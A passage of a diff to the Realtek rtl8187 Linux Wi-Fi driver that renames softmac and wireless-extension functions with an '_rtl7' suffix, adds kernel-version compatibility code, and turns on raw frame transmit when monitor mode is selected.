********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); 